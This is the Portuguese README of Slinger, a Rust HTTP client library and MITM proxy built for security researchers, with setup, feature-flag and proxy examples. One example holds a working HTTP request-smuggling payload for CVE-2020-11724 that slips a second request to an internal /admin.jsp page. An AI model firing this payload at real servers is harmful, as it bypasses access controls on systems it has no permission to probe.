
Um cliente HTTP especificamente desenvolvido para pesquisadores de segurança
Um Cliente HTTP para Rust projetado para hackers.
Explore a documentação »
Ver Demonstração
·
Relatar Bug
·
Solicitar Funcionalidade

Slinger é um workspace contendo:
A biblioteca principal de cliente HTTP para Rust projetada para hackers.
Um proxy Man-in-the-Middle (MITM) com interceptação de tráfego HTTPS transparente, semelhante ao Burp Suite.
Este exemplo habilita algumas funcionalidades opcionais, então seu Cargo.toml pode ficar assim:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
E então o código:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Adicione ao seu Cargo.toml:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
Código de exemplo:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Adiciona interceptor de logging
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
Veja slinger-mitm/README.md para mais detalhes sobre o uso do proxy MITM.
Slinger suporta as seguintes funcionalidades opcionais:
tls - Funcionalidade TLS base (ativa tipos e interfaces TLS sem um backend específico)rustls - Suporte HTTPS usando Rustls (requer tls, implementação pura em Rust)http2 - Suporte ao protocolo HTTP/2 (requer um backend TLS)cookie - Suporte ao tratamento de cookiescharset - Suporte à codificação de caracteresserde - Suporte à serialização/desserializaçãogzip - Suporte à compressão Gzipschema - Suporte ao JSON SchemaPara usar TLS, você deve:
tlsrustls, OU fornecer um conector TLS personalizadoCombinações de funcionalidades de exemplo:
# Usando backend rustls
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Usando backend TLS personalizado (requer implementar CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
Se você quiser usar native-tls, OpenSSL ou outras bibliotecas TLS, pode implementar um conector TLS personalizado. Veja o native_tls_example.rs para um exemplo completo de como integrar native-tls.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// quando estiver usando o proxy BurpSuite, precisa **desabilitar** o cabeçalho **Connection** na requisição de entrada
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
Para mais exemplos, consulte o exemplo
Contribuições são o que tornam a comunidade open source um lugar incrível para aprender, inspirar e criar. Quaisquer contribuições que você fizer são muito apreciadas.
Se você tiver uma sugestão que possa melhorar isso, faça um fork do repositório e crie um pull request. Você também pode simplesmente abrir uma issue com a tag "enhancement". Não se esqueça de dar uma estrela ao projeto! Obrigado novamente!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Distribuído sob a licença GPL-3.0-only. Veja LICENSE para mais informações.
Your Name - @Kali_Team - [email protected]
Link do Projeto: https://github.com/emo-crab/slinger